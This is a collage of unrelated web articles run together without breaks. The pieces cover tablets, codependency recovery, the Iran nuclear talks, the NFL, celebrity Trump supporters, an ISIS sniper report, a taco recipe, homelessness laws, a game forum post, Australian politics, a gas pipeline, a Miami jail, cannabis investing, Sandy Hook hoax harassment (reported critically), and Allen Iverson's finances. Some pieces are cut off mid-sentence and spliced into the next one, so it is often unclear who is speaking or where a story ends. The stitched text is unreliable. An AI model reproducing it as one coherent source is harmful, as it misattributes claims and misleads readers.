The quality of iPad apps is for the most part better than those available for the Nexus 7. The rigid rules Apple places on developers is often criticised, but the end results speak for themselves.
I use lots of apps on both the Nexus 7 and the iPad, and I can't think of more than one or two on the Nexus 7 that are better than similar apps on the iPad. There are rare exceptions like the Gmail app in Android, but those are far too rare.
Using an iPad is so much more pleasant compared to the Nexus 7 that I am confident that the rumored iPad Mini (or as I prefer to call it the iBook ) will capture the small tablet market and quickly. The pricing Apple puts on the smaller tablet will certainly be a factor, but knowing the company I believe they will get it right.
I can see Apple selling more than 10 million iPad Minis in just a few months. They will be perfect holiday gifts and the novelty of a smaller iPad will be popular.
The smaller size of the Nexus 7 is its only advantage over the existing iPad and the iPad Mini will wipe that out. I expect the littlest iPad will own the small tablet market almost from launch.
This is my opinion and it won't be popular with Android enthusiasts. That's OK, but the difference between the iPad and the Nexus 7 hits me in the face every time I set the Nexus down and pick up the iPad.
That's not just guesswork, that is based on heavily using both the iPad and the Nexus 7. The Nexus 7 is good, but not good enough to head off a small iPad.Welcome
to a page of Joy2MeU The Web Site of Spiritual Teacher, codependence counselor, grief therapist, author, Robert Burney and Joy to You & Me Enterprises
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Site index page Robert is the author of the Joyously inspirational book Codependence:
The Dance of Wounded Souls
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Joy to You & Me Enterprises is offering a series of Intensive Training Days with Spiritual Teacher, inner child healing pioneer Robert Burney. Learn his innovative Spiritual Integration Formula for Inner Healing. For the locations and dates of upcoming appearances go to Day of Intensive Training.
Applying Twelve Step Spiritual Principles This is the fourth in a series of articles by codependency therapist/inner child healing pioneer/Spiritual teacher Robert Burney, focused on different manifestations of codependency and how the Spiritual principles of twelve step recovery can be applied to facilitate learning to have healthier relationships. This article - Obsession / Obsessive Thinking Part 1 - was originally published online April 28 2002 on Robert's Inner Child / Codependency Recovery page on the Suite101.com Directory. There is a list of - and links to - the other articles in this series on Suite 101 on the Suite101 Articles page. T his article was used to create this page on Joy2MeU in late August of 2003. Obsession / Obsessive Thinking Part 1 By Robert Burney "We were taught to approach life from a perspective of fear, survival, lack and scarcity...... We were taught that life is about destinations, and that when we get to point x - be it marriage or college degree or fame and fortune or whatever - we will live happily ever after. That is not the way life works. You know that now, and probably threw out that fairy tale ending stuff intellectually a long time ago. But on some emotional level we keep looking for it because that is what the children in us were taught. We keep living life as if it is a dress rehearsal for "when our ship comes in." For when we really start to live. For when we get that relationship, or accomplishment, or money that will make us okay, that will fix us. We do not need fixing. We are not broken. Our sense of self, our self perception, was shattered and fractured and broken into pieces, not our True Self." "Life is not some kind of test, that if we fail, we will be punished. We are not human creatures who are being punished by an avenging god. We are not trapped in some kind of tragic place out of which we have to earn our way by doing the "right" things. We are Spiritual Beings having a human experience. We are here to learn. We are here to go through this process that is life. We are here to feel these feelings. Doing our emotional healing allows us to feel clear about what is in front of us instead of torturing ourselves by obsessively thinking, trying to figure out what's right and what's wrong." (All quotes in this color are from Codependence: The Dance of Wounded Souls) Obsessive thinking is an emotional defense that, like all of the various manifestations of codependency, is dysfunctional. Being in our heads - thinking, fantasizing, ruminating - is a defense we adapted in childhood to help us disassociate from the emotional pain we were experiencing. It is dysfunctional because it keeps us focused on the future or the past - we miss out on being alive today. It is dysfunctional because our attempts to escape unpleasant feelings causes us to generate more unpleasant feelings. Worry - which is negative fantasizing - is a reaction to fear of the unknown which creates more fear, which creates more worry, which creates more fear, etc. This fear is not a normal human fear of the unknown. It is codependent fear: a distorted, magnified, virulent, mutated species of fear caused by the poisonous combination of a false belief that being human is shameful with a polarized (black and white, right and wrong) perspective of life. This self perpetuating, self destructive type of obsessive thinking feeds not only on fear, but on shaming ourselves for feeling the fear. The disease of codependency is a dysfunctional emotional defense system adapted by our egos to help us survive. The polarized perspective of life we were programmed with in early childhood, causes us to be afraid of making a mistake, of doing life "wrong." At the core of our being,we feel unlovable and unworthy - because our parents felt unlovable and unworthy - and we spend great amounts of energy trying to keep our shameful defectiveness a secret. We feel that, if we were perfect like we "should" be, we would not feel fear and confusion, and would have reached "happily ever after" by now. So, we shame ourselves for feeling fear, which adds gasoline to the inferno of fear that is driving us. The shame and fear that drive obsession becomes so painful and 'crazy making' that at some point we have to find some way to shut down our minds for a little while - drugs or alcohol or food or sleep or television, etc. It is a very dysfunctional, and sad, way to relate to life. The fear we are empowering is about the future - the shame is about the past. We are not capable of being in the now and enjoying life because we are caught up in trauma melodramas about things which have not yet happened - or wallowing in orgies of self recrimination about the past, which can not be changed. Codependents do not really live life - we endure, we survive, we persevere. Obsessive thinking and compulsive behavior is caused by, and fed by, fear and shame. The feeling that the world will come to an end if ____ doesn't happen, or that it has come to an end because ____ happened, is a feeling coming from the wounded inner child. It is the result of early childhood emotional trauma - and the subconscious programming adapted by our egos to help us survive at a time when we were helpless and powerless. An adult is not helpless and powerless. We are, however, powerless to know that, as long as we are unconsciously reacting to repressed emotional energy and subconscious programming. It is impossible to see our self or life clearly when we are caught up in trauma dramas (internally and externally) that feel life threatening. In our codependency, we are in denial of our emotions at the same time we are allowing the feelings of the wounded child within to define and dictate our lives. Getting into recovery from codependency, starting to learn how to do the inner child work, will help a person take power away from the fear and shame that drives the disease - that causes the obsessive thinking. Learning to be compassionate in our relationship with our self - by not shaming ourselves for being wounded human beings - will help us to take power away from the obsessive thinking. Starting to choose to believe that there is a benevolent Force in the Universe, a Loving Higher Power, will facilitate taking power away from the fear of the unknown. Love is the answer to obsession - but not the love of another person. Learning to be Loving to our self - and remembering that there is a Loving Higher Power, is the best way I have ever found to stop obsessive thinking.France’s hard line on enrichment did, however, cast it as the outlier in Geneva. Matters were not helped by French Foreign Minister Laurent Fabius, who reportedly irritated P5+1 colleagues by rushing out to announce the failure to reach a deal even while an official communique was being painstakingly hammered out. Earlier, Fabius had warned that Paris would reject anything it suspected of being “a con game” by Iran, clashing with the optimism from diplomats in Geneva about prospects for agreement
The Iranians took the opportunity to blame the failure to conclude a deal on what Iran’s Foreign Minister Mohammad Javad Zarif called “differences of opinion within the P5+1 group.”
Casting France as the deal wrecker may be an exaggeration, but Paris is clearly less inclined than its Western allies have been to accept Iran’s continuing uranium enrichment, even under the stricter caps and tighter scrutiny at the heart of compromise formulas that have formed the basis for the recent progress.
France suspects that Iran’s nuclear work is directed toward military goals and believes that a nuclear-armed Iran should be prevented at any cost. Whereas President Barack Obama has declared a willingness to take military action if necessary to prevent Iran’s acquiring nuclear weapons, the U.S. believes Iran has not yet decided to build the bomb even though it has built much of the technological infrastructure enabling it to do so.
Since Iran in 2005 ended the voluntary freeze on enrichment that it agreed to the previous year with the European Union, Paris has been wary of Iranian concessions and promises of good behavior. That mutual enmity was underscored by former French President Nicolas Sarkozy and former Iranian President Mahmoud Ahmadinejad’s trading personal insults in public. While Sarkozy’s socialist successor, François Hollande, has adopted a more diplomatic style, he hasn’t softened the French stand on Iran.
Hollande reportedly shares concerns among French strategists that Obama may be so eager to encourage a more cooperative position from Tehran that he would accept a flawed nuclear agreement. France is also skeptical of the Geneva draft’s provision of a six-month suspension of Iran’s nuclear work in order to reach a permanent agreement — a period Paris fears could be used by Tehran to take its nuclear work underground and even create a bomb by mid-2014. That’s why France insists Iran’s current stockpile of 20 percent enriched uranium, which can be rapidly transformed into weapons-grade materiel, be eliminated or stored outside the country rather than rendered into a form more difficult to process into bomb materiel (as has been proposed in the current talks). France has also been tougher than its partners regarding Iran’s Arak heavy-water reactor, which, once operational, will produce plutonium that could be used for nuclear warheads. Paris wants a total halt in construction of Arak during the six-month freeze rather than simply limited progress, as negotiators had been considering.
Still, despite France’s harder line, its diplomats confide that Paris won’t torpedo a deal if Iran is ready to accept it, if it's enforceable and if it would prevent Tehran from developing nuclear arms.
Some observers see other strategic objectives in France’s taking a harder line than its Western allies on Iran. Its position syncs with Saudi Arabia’s — a common cause that could increase Paris’ posture as a major ally and business partner as the kingdom’s traditional partnership with an inward-turning U.S. starts to falter. The U.S. desire to reduce its international footprint may also be prompting French and other European leaders to seek a greater leadership role in international affairs. That much was clear in France’s leading role in interventions in Libya and Mali.
France no longer assumes that following the U.S. lead necessarily produces desired results. Hollande had, just two months earlier, led efforts to rally international backing for Obama’s call for military strikes on Syria, only to be left dangling after the White House unilaterally reversed its course. Now that the focus has shifted to seeking a solid nuclear agreement with Iran, the French appear to have calculated that it’s more prudent to seek a leading role at the negotiating table.
Bruce Crumley is a freelance journalist based in Paris, where he spent two decades working as a correspondent for TIME magazine.Eagles personnel executive Howie Roseman has been behind some of the most eye-opening moves in football over the past decade. Last week's trade, which netted the Eagles former Bills second-round pick Ronald Darby but also saw Sammy Watkins shipped to Los Angeles and Jordan Matthews sent to Buffalo, had to be one of the craziest.
On Good Morning Football on Wednesday, Roseman said it all started when the Eagles reported to training camp.
"[Personnel conversations] start the minute you report to camp. We had these conversations with Buffalo throughout training camp and as we went into the first preseason game and we found a match. Hard trade to make. Jordan Matthews, extremely productive, historically productive as a Philadelphia Eagle wide receiver, and then you're giving up a third-round pick, too," Roseman said. "You go back to our scouting staff... they do a great job in the draft, so you're sitting there and going, you've got two possible starting-caliber players. What are you getting back? Is it worthwhile for what you're getting back?
"When we looked at our team, how the wide receivers were doing in camp, the young wide receivers, maybe it allows us to keep another young wide receiver that we couldn't before. We just felt like this was the best for the Philadelphia Eagles at the time."
Roseman elicits some pretty extreme opinions one way or the other from the football analyst world at large, but there's no doubt he's anything but complacent. Roseman, like his predecessors in the Andy Reid/Philadelphia think tank, has always been willing to make the move. In this case, it was a move to bolster confidence in Chip Kelly-era draft pick Nelson Agholor, which not only shows confidence in coach Doug Pederson, but a willingness to accept a player from an era that he aggressively tried to dismantle upon returning to power in Philadelphia. As he mentioned on air Wednesday, Roseman was told by his personnel department that they had a wide receiver surplus and started working from there.
When moves like this pan out, almost every coach wishes they had a GM with Roseman's aggression. At the least, Pederson is happy to have someone watching out for him.DONALD Trump has waltzed his way into the White House after mustering plenty of support from some of the world's most famous people.
He may be divisive but the Republican has now been announced as the leader of the free world. The Donald has been at the centre of his fair share of controversy recently but it doesn't seem to have lost him any of his famous fans. Daily Star Online has taken a look at some of the more eye-catching "Trumpites" who were key in his bid for the Presidency.
GETTY STARS: The Donald has a host of celebrities fighting his corner
Celebrities backing Donald Trump's bid for the White House Daily Star looks at the celebrities endorsing Republican Presidential Candidate, Donald Trump. 1 / 16
Azealia Banks Not one to shy away from the limelight, Banks is said to have been passionate about a Trump win. The American rapper, singer and songwriter burst onto the scene with smash hit 212. But she endorsed Mr Trump earlier this year, promising him her vote because "he is the only one with the balls to bust up big business".
GETTY HOT PROPERTY: Charlie Sheen and Azealia Banks are both backing the Donald
Charlie Sheen Probably not best known for his politics… The former Two and a Half Men star is busy living it large most of the time but he does have his views on Trump. So much so, he even offered to be his Vice Presidential candidate – using the hashtag #TrumpSheen16 when he made the shock offer last year.
Babes for Trump Here are the hottest photos of Babes For Trump, the sexy fans of Republican candidate Donald Trump 1 / 17 SPLASH Liziane Gutierrez offers free car wash to Trump fans
Mike Tyson One of the more surprising names in this list. The former heavyweight champion of the world is a devout Muslim but also a passionate Trump supporter. He lists the Donald as a good friend, saying: "We go way back. Most of my successful and best fights were at Trump's hotels."
GETTY CHAMPS: Hulk Hogan and Mike Tyson are legends of their sports
Hulk Hogan Hulk Hogan has always been a man who knows what he wants. And there's no doubt who the popular and easily recognisable WWE star backed for the White House. Like Sheen before him, he declared his support by offering his services – saying: "I want to be Trump's running mate" back in September last year.
US Elections 2016 in pictures The top photos following the campaign journey of Hillary Clinton and Donald Trump in the US Elections 2016 1 / 57 AFP/Getty Images This combination of file photos shows the silhouettes of Republican presidential nominee Donald Trump and Democratic presidential nominee Hillary Clinton
Tila Tequila She might believe the world is flat but she claims to know her politics. The former CBB star is an avid Trump supporter. Posting a video on YouTube, she issued a public battle cry to not only endorse Mr Trump but also wanting others to do the same.
GETTY PASSION: Tila Tequila and Vince Vaughn are gunning for a Trump win
Vince Vaughn He's one of the world's most famous actors. And after starring in films like Wedding Crashers and Dodgeball, he's become quite a hit too. But the Hollywood funny man has a serious side too – and a staunch conservative backing the Donald.A sharpshooter killed a top ISIS executioner and three other jihadists with a single bullet from nearly a mile away -- just seconds before the fiend was set to burn 12 hostages alive with a flamethrower, according to a new report.
The British Special Air Service marksman turned one of the most hated terrorists in Syria into a fireball by using a Barett.50-caliber rifle to strike a fuel tank affixed to the jihadi’s back, the UK’s Daily Star reported Sunday.
The pack exploded, killing the sadistic terrorist and three of his flunkies, who were supposed to film the execution, last month, the paper said.
The ISIS butcher -- who reportedly delighted in burning hostages alive -- had been on a US “kill list” for several months, sources told the paper, which did not identify the sniper or the executioner.
Click to read the story in the New York Post.Happy Taco Tuesday! Tuesdays are my favorite day of the week merely for all the deals on tacos in the area. The other day I was searching on amazon and found a taco holder and I knew immediately I had to buy it. The great thing about the holder is once you heat up the corn tortillas and place them in the tin holders they immediately start to take on the form of the triangular shape. It’s the little joys in life, ya know?
Tilapia is becoming one of my favorite fish go-to’s because it’s so easy to cook and it’s so versatile. I tend to buy my poultry and fish in bulk for cost effective reasons but it also gives me the ability to cook anything spontaneous for dinner. I didn’t know when my taco holders were arriving via mail so once they did I grabbed some tilapia out of the freezer, let them thaw and started the cooking process.
The below recipe is from a Tasty video which has been quite popular recently on social media. The slaw recipe was easy to recreate and I even cheated by buying the already chopped up cabbage. Taste wise, the slaw standing as it’s own side I would not recommend. The amount of lime to off balance the spices of the tilapia is overpowering but when it’s all together it’s delicious.
Check out the recipe —> Tilapia TacosBy John Vibes
The homeless people in Hackney, London are facing expulsion from the street due to a new law will allow the police to give out fines and other legal penalties to homeless people who are found loitering, begging and sleeping in commercial places.
This “Public Space Protection Order” which was introduced by the council of Hackney will place a fine of £1000 on homeless activities. The order has been met with numerous criticisms, with many pointing out that the new laws effectively outlaw homelessness.
Matt Downie of homelessness charity Crisis, one of the major opponents of this legislation, said that the homeless population in London has been victimized enough.
“Rough sleepers deserve better than to be treated as a nuisance – they may have suffered a relationship breakdown, a bereavement or domestic abuse. Those who sleep on the streets are extremely vulnerable and often do not know where to turn for help. These individuals need additional support to leave homelessness behind, and any move to criminalize sleeping rough could simply create additional problems to be overcome,” Downie said.
A similar scenario was supposed to happen in Oxford, but during the consultation process, there was so much outcry from the local population that the government was forced to pull back on their proposal. In the case of Hackney, there was not a single consultation before the policy was introduced.
The policy has been largely rejected by people in Hackney, and there have been thousands of people to sign petitions that ask for the ban to be lifted. However, it is not clear if the city has any intention of paying attention to these people.
We have covered many other instances of homelessness being criminalized in recent months. As we reported just a few weeks ago, that homeless people and supporters in Sacramento were protesting a recent ordinance that makes it illegal for them to camp in the city. Many of them were camped out in front of city hall for the past month and are demanding a reversal of the camping ban. Soon after, police invaded the encampment in riot gear and made several arrests.Quote Voradore Quote: Originally Posted by I'd like to add to this.
Unfortunately mine is a little more extreme than losing previously awarded achievements. I only just noticed that I never received a lot of my achievements when the achievements system went live.
I'll give a few examples:
On my main I've collected almost all the datacrons. I have the codex entries to show I got them but when I look at the locations section of my achievements all the planets listed don't have them marked off. As all of my toons have passed the starting planets I would need to make new ones just to get those ones!
I've also completed most flash points and some Ops and again on the listing for FPs and Ops there is no record.
When the system went live I thought it I had to complete them again to get the achievements, I then found out last night that a friend of mine that barely raided before the system came out and never did after the achievements came out, has the achievements listed from when he used to raid before the system went live.
This was true for everything else like datacron finds, etc.
I contacted customer support to try and get them reinstated but was told it was a bug and needed a bug report and hopefully!!!! would be fixed in the future. Hence why I am here.
I'm not very hopeful for this as the system has been out for ages, and if it hasn't been fixed by now I doubt it will ever be. I mean one of my toons heads still poke through his rode when flying on a speeder, if that's not fixed I doubt this will be!!
Here is hoping. Yup, there were a few I didn't get. As a PvPer, I was not happy when my Ilum achievements and the Defusing Bomb achievements were taken away. Not easy to get either of those groupings - especially in the current version of SWTOR where the emphasis has really been taken away from the PvP side of things.Tony Abbott keeps leadership of Liberal Party but some supporters fear he is doomed
Updated
Tony Abbott has told Liberal MPs the party room meeting was a "near death experience" and has promised changes to the way his Government operates.
The Prime Minister survived a crucial vote, with his party members voting 61-39 against opening up the top leadership positions to contenders.
One MP cast an informal vote, merely writing "PASS" on the ballot paper.
Several Liberal MPs told the ABC the Prime Minister looked "shocked" when he was shown the numbers. Others said he appeared "chastened".
In his post-spill speech to the 101 MPs, Mr Abbott asked them to have faith in him, telling them he wanted to fight the Labor Party, not the Liberal Party.
He also urged colleagues to say "nice things" about the Government when journalists called them.
In what one minister described as a "passionate" speech, the Prime Minister promised more consultation with the backbench on contentious policies like the GP co-payment.
But MPs said |
-billion project a necessary step for the future growth of the locally-headquartered company.
“It doesn’t do anybody any good to drill natural gas in north central Pennsylvania if you can’t get it to market,” Ron Kraemer, the senior vice president of National Fuel’s Gas Supply Corp. and president of the existing Empire Pipeline told the News in February. “We need to move it to where people use it.”
The company, in its statement Monday, pointed out that 57 percent of the state’s electric generation is powered by natural gas – a figure that’s only expected to increase as the state transitions away from coal and nuclear plants for electricity.
“As New York continues a long-term transition to more and more renewable electric generation, it is essential for the natural gas industry to stand ready, at a moment’s notice, to provide the gas supply necessary to generate the power to support the reliability of the power grid,” Tanski said. “National Fuel remains committed to this energy infrastructure project that will be an important contributor to the energy dependability and economic vibrancy of New York State.”
The Northern Access Pipeline, according to National Fuel, was designed to provide increased reliability to natural gas markets in the region and access to affordable energy for its customers.
“What is perhaps the most troubling aspect of this decision is that DEC waited literally until the 11th hour to issue this denial, even though we had detailed discussions with DEC staff over a 34-month period and undertook detailed engineering and environmental studies at the agency’s request to support the stream-crossing techniques that now form the basis of their denial,” Tanski said.
While elated at the results, opponents of the pipeline said they recognize the DEC’s decision was just a single victory in their “battle” against National Fuel.
The next battle will come in the courtroom in coming weeks as eminent domain procedures loom in Allegany, Cattaraugus and Erie counties.
Oprea will be fighting to keep the gas company from accessing any of her 188 acres.
Her day – and those of more than a dozen other landowners – in court comes on May 3.
“We’re all fighting it,” Oprea said. “Our case just got stronger, and theirs just got weaker.”
The rejection is a blow to National Fuel, which viewed the Northern Access Pipeline project as a central piece of its broader plan to increase the capacity of its pipelines that can carry natural gas from the Marcellus Shale region of central and western Pennsylvania to markets, especially in Canada, that are hungry for new sources of cheap natural gas.
Marcellus natural gas is cheap. Because there is less pipeline capacity than is needed to carry all of the natural gas being produced in the region to markets in New York, Canada and the East Coast that can use it, the price of natural gas in Pennsylvania’s gas-producing hotbed has been significantly depressed.
While prices in the Marcellus region have jumped over the past year as some new pipeline capacity has been added, gas producers still are being paid around 15 percent less for their gas than the national spot price of around $3.30 per 1,000 cubic feet.
The rejection of the Northern Access Pipeline project will have a dampening effect on gas prices in the Marcellus region because it will eliminate what would have eased the pipeline bottleneck that now keeps a lid on prices, even as gas producers, including National Fuel, have cut back on their drilling programs because of the depressed prices.
The rejection caused National Fuel’s stock price to tumble by nearly 9 percent to a two-month low, falling $5.22 to $55.47.
News Business Reporter David Robinson contributed to this report.MIAMI - Surveillance video obtained by The Miami Herald shows a security breach that opened jail cell doors in a maximum security wing of the Turner Guilford Knight Correctional Center in Miami on June 13.
The sliding cell doors open and two inmates walk down the hallway. One appears to hand something to an inmate in an adjacent cell.
Watch: Surveillance Video
Three inmates then confront a shirtless Kenneth Williams, who runs down the hallway of the maximum security wing. He climbs over a railing and jumps down to the floor below.
Williams lands on the floor, grabs the leg of another inmate, then hands him what appears to be a knife or blade. Corrections officers then force inmates back into their cells.
"We have some concerns for the safety of Kenneth Williams," said his attorney, J.C. Dugue.
Williams (pictured, right) fractured a vertebrae and broke his ankle, according to The Miami Herald. Dugue said he was attacked before.
"We were under the impression prior to looking at the video that it was really a malfunction. After watching the video and discussing with him (Williams) since, it seems that there may have been some error in the part of the corrections intentionally," said Dugue. "It had to have been planned. It was so coordinated and so quick. They didn't even give him a chance to react, but to jump off the second floor."
Two correctional employees said similar breaches happened at least three times in the last few months. One employee told Local 10 that correctional employees operate the computerized system.
Williams was arrested for possession of a contraband blade.
"Clearly, we will be taking that to trial also without any hesitation period. I think if you notice anything, anything he had to do was out of necessity," said Dugue.
The Miami-Dade County corrections department released a statement Tuesday, saying: "The incident which occurred in June 2013 at the Turner Guilford Knight ("TGK") facility is part of an ongoing criminal and MDCR internal investigation and pursuant to Florida State Statutes and departmental policy may not be commented on until the investigation(s) cease to be active. No information related to the incident has been officially and/or authorized to be released by MDCR and may not accurately relay the totality of events."
Copyright 2013 by Local10.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.The Privateer partners are always hunting for a good investment, but it was apparent that they wouldn’t be taking a stake in topicals any time soon. Though state law allows the manufacture and sale of cannabis topicals, Kennedy and Blue worried about whether you could make the stuff without violating federal drug laws. This put topicals off-limits as an investment, at least for now. If there’s one rule that Privateer lives by, it’s “don’t touch the leaf.”
Kennedy and Blue’s venture into the cannabis space began three years ago. At the time, Kennedy was directing the operations of SVB Analytics, which specializes in entrepreneurial fields like high tech, genomics, medical devices and green energy. He spent part of his time in San Francisco and Santa Clara, Calif., for work and part in Seattle, where his wife has a high-profile career with the Pacific Northwest Ballet.
One day a call came in to the SVB office from an entrepreneur who sold inventory software to medical-marijuana dispensaries. He wanted to know how to attract venture capital. Christian Groh, who was head of sales at SVB Analytics, took the call and told Kennedy about it. They were intrigued and amused. Pot software? They knew their own firm wouldn’t touch it. “Nobody wants to be known as the first banker or venture capitalist to make an investment in the cannabis industry,” Kennedy later told me. “The risk to the firm’s reputation is too great.”
Later that week, as he drove on I-280 through Silicon Valley’s green hills, Kennedy happened to tune in a radio show on marijuana legalization. He hadn’t touched pot since he was 19, he says, but the notion proposed by one guest seemed to make sense: Marijuana should be regulated like whiskey or wine. Kennedy thought about the software developer. Maybe there was a way to get into the business without being directly involved with pot. The growing and selling of marijuana, as it becomes increasingly legal, will require many ancillary products. “When everyone is looking for gold,” the saying goes, “it’s a good time to be in the pick-and-shovel business.”
When Kennedy pulled off the highway, he called Blue, his old Yale School of Management classmate. “You know how we’ve always talked about starting something together?” he said. “I think I’ve found it. We need to start a venture-capital firm in the cannabis space.”
At the time, Blue, who is from Arkansas, was happily ensconced at a sleepy financial firm in Little Rock, where he and his wife had settled to raise their children near her parents. If you were casting a comedy, Blue would be the bow-tied square who thinks things are getting out of hand when somebody orders a second pitcher of beer. To him, Kennedy’s idea was outrageous. It was insane. And it was interesting.
That night, lying in bed, Blue turned to his wife, Christina. “I’m going to tell you something about a conversation I just had with Brendan,” he said. “No one knows about it yet. But here’s what he’s thinking.” Neither Kennedy nor Blue could shake the notion. Working during their off-hours in Santa Clara and Little Rock, they dug into the existing marijuana research. They read the 1970 Controlled Substances Act, National Institute on Drug Abuse reports, medical studies from all over the world. They made reconnaissance visits to dozens of marijuana dispensaries. They decided that the only way they’d be comfortable even seriously thinking about the idea was if they could determine that marijuana was truly helpful for medical patients.SANDY Hook conspiracy theories have been around since gunman Adam Lanza opened fire and executed 20 children and six teachers at his former primary school in Newtown, Connecticut.
Most are dismissed as nonsense — the product of overactive imaginations, boredom and too much television.
In the three years since 20-year-old Lanza brought terror to a quiet neighbourhood, many families of the victims are still being hounded by these “truthers” and their theories.
One, however, has outlasted them all, and has only grown in popularity, even spawning a book. The reason? It’s not your average keyboard warrior making the claims, but a university professor who insists his assertions are backed up by his credentials.
But how do you fake a mass shooting? And why on earth would you want to?
Professor James Tracy is convinced he has the answer. He teaches media history and analysis at Florida Atlantic University and is a published author on everything from war propaganda to the Greek debt crisis.
On blogs and the Sandy Hook Hoax Facebook page, Tracy has positioned himself as the go-to expert on all things Connecticut cover-up. Perhaps because of position and academic clout — or the fact that he just won’t give up — Tracy has even found himself spelling out his theory in the pages of the well-read Florida-based Sun Sentinel newspaper.
There, Tracy wrote at length about the “unusual” events surrounding the biggest school massacre in US history.
“Three years ago, the public learned of the most significant mass shooting... involving the deaths of 20 young schoolchildren and seven adults,” he wrote.
“As a father of three, I immediately empathised with the parents, reminding myself there was no real way to fathom the sense of loss such an experience must involve.
“After several days of reflection, however, my instincts as a media historian and analyst took charge. In reviewing news coverage of the Sandy Hook School massacre, I began to recognise very unusual features in the alleged forensics, the emergency response and the overall way the event was being reported.”
Those features, he said, included emergency protocols being abandoned, a “bumbling” state coroner’s attempting to explain the attack the day after it occurred and the demolition of the school several months later.
But he claims the strongest indication that Sandy Hook was fake lay in his interactions — or lack thereof — with the victims’ families, particularly the parents of Noah Pozner, a beautiful young boy and the youngest of Lanza’s victims.
Tracy, believing Sandy Hook was a ruse used by the Obama administration to crack down on gun control, tracked down Noah’s parents and wrote to them. He even asked them, on a certified letterhead, for proof that Noah once lived, that the two were his parents, and that they were the rightful owners of his photographic image. The professor has not yet heard back.
On Facebook, he wrote that a number of researchers, some highly-regarded, share his theory in a new book titled Nobody Died at Sandy Hook.
“The only proof (Noah’s father) Lenny has produced that Noah died in Sandy Hook is a death certificate he provided to one of the book’s contributors, which has been revealed as a fabrication,” Tracy wrote.
“If Noah actually died, there would have been no reason to fake it.”
Lenny and Veronique Pozner broke their silence in the same newspaper this week. They told the Sun Sentinel that their “precious little boy” was missed every day and their devastation was only amplified by the likes of Tracy and those who deny Sandy Hook ever happened.
“The heartache of burying a child is a sorrow we would not wish upon anyone,” the pair wrote. “Yet to our horror, we have found that there are some in this society who lack empathy for the suffering of others. Among them are the conspiracy theorists that deny our tragedy was real. They seek us out and accuse us of being government agents who are faking our grief and lying about our loss.”
The couple took aim directly at Tracy, who they said was “chief among the conspiracy theorists”.
“A plethora of conspiracies arose after Sandy Hook, but none received as much mainstream publicity as Tracy, who suggested that the shooting never occurred and the Obama administration had staged the ‘event’ to prepare the country for strict gun control measures.
“Tracy has enjoyed tremendous success from this exposure and has since leveraged it into a popular internet blog and radio program. Worse yet, it has elevated his status and fame among the degenerates that revel in the pleasure of sadistically torturing victims’ families.
“It cannot be denied that Tracy has carved out a significant presence in the same Sandy Hook ‘hoax’ conspiracy movement that has inspired a wave of harassment, intimidation and criminal activity against our family and others.
“In fact, Tracy is among those who have personally sought to cause our family pain and anguish by publicly demonising our attempts to keep cherished photos of our slain son from falling into the hands of conspiracy theorists.”
The Pozners said demanding proof that their son was killed was insulting and hurtful.
“We found this so outrageous and unsettling that we filed a police report for harassment. Once Tracy realised we would not respond, he subjected us to ridicule and contempt on his blog, boasting to his readers that the ‘unfulfilled request’ was ‘noteworthy’ because we had used copyright claims to ‘thwart continued research of the Sandy Hook massacre event’.”
The couple has asked the university to terminate the professor’s employment.
Last week, the family of Vicki Soto, a teacher who died at Sandy Hook, used a Facebook page to ask for help after they were targeted by “truthers”.
On a memorial page dedicated to Ms Soto, her family described how they were “scared to go home” after Instagram users shared their home address.
“We don’t normally like to post these kind of things, but this just needs to be put out there in hopes someone will help us,” the family wrote on Facebook.
“(Vicki’s sister) Carlee and her husband are scared to go home. These accounts on Instagram have posted their home address and sent threatening messages. There are close to 20 accounts that keep reposting this information.”
Ms Soto and the Pozners are not the only victims targeted by the Newtown truthers. The family of Emilie Parker, a six-year-old girl who was shot and killed that Friday morning, have also been labelled liars.
Online, there are dozens of videos about the young blonde girl’s family being fake.It seems as though MSNBC’s Ed Schultz has taken Rahm Emanuel’s belief that, “you never want a serious crisis to go to waste” to heart. Speaking on Monday prior to President Obama’s final press conference of his first term, Schultz disgustingly suggested that the tragedy at Sandy Hook could be "the 9/11 of gun violence."
Schultz, along with the rest of MSNBC have been on a gun control tirade since Sandy Hook, and used President Obama’s press conference to disgustingly use a tragedy for political purposes:
Well, this is all in the arena of the Second Amendment being one heavy political tool on all of these lawmakers. I'm tired of hearing lawmakers telling me what can pass and what won't pass. Let's listen to the American people for a moment and stop rendering judgment on what's going to have the votes and what's not going to have the votes. The fact is the American people are positioned. We're going to find out within the next few weeks whether Sandy Hook was the 9/11 of gun violence in this country. [See video after jump. MP3 audio here.]
To be fair, Schultz most likely used the 9/11 comparison to mean Newtown is a seminal cultural moment that can unite Americans around a common enemy. But then again, the common enemy seems to be law-abiding gun owners, as the vast majority of owners of so-called assault weapons use them peacefully for self-defense and target shooting.
Leaving aside for a moment the offensiveness of the comparison -- particularly to 9/11 victims and their families -- Schultz seems to forget that while 9/11 did unite the country together, the resulting anti-terrorism measures have faced fierce partisan backlash from the Left.
The PATRIOT Act, unmanned drone strikes on civilians, Guantanamo Bay, and of course the all-too-personal TSA pat-downs all remain unpopular with liberals, many of whom don't doubt that these policies have made it harder, almost impossible for another 9/11-style attack to occur on U.S. soil. Even so, liberals remind us, that is not an acceptable cost to pay for diminished freedom.
By using the 9/11 comparison, Schultz unwittingly opened up himself to that rebuttal: even if stringent gun control were to prove somewhat successful in preventing future mass shootings, it comes at a cost to constitutional liberty.
See relevant transcript below.Allen Iverson reportedly bought new clothes on road trips, didn’t want luggage
Finally, it’s all starting to make sense. While it doesn’t necessarily surprise us to hear that someone like Allen Iverson blew more than $200 million in career earnings, it does raise a certain amount of curiosity. How did he pull it off? Did he take the Siberian Tiger approach to bankruptcy like Mike Tyson? Did he buy too many cars or houses? The details have started to emerge, and we have a solid starting point.
According to Forbes Magazine, Iverson did not like taking luggage with him on road trips. Since the only way to avoid traveling with suitcases is to buy new clothes everywhere you go, that’s exactly what A.I. did.
Perhaps the telltale indicator of Iverson’s divorce from financial reality, however, was an anecdote I received via a former teammate of Iverson’s from his days with the Philadelphia 76ers. This player, raised on a far higher standard of fiduciary responsibility, was amused and stunned by “A.I.’s” money habits. He related how on many road trips Iverson refused to carry baggage, evidently seeking to remain as unencumbered from physical things as he was of basketball defenders. Because of this habit, Iverson would buy a full selection of new clothes, shoes, and other expensive items at each new destination with rolls of cash he carried on his person. Moreover, upon departure, he would leave all those goodies behind in his hotel room or just give them away.
Perfectly reasonable. I hate traveling with luggage, too. There’s always the dilemma concerning if you should check your bags or just go with all carry-on. Who wants to deal with that type of headache? This may have contributed to Iverson going broke, but clearly it was worth it.
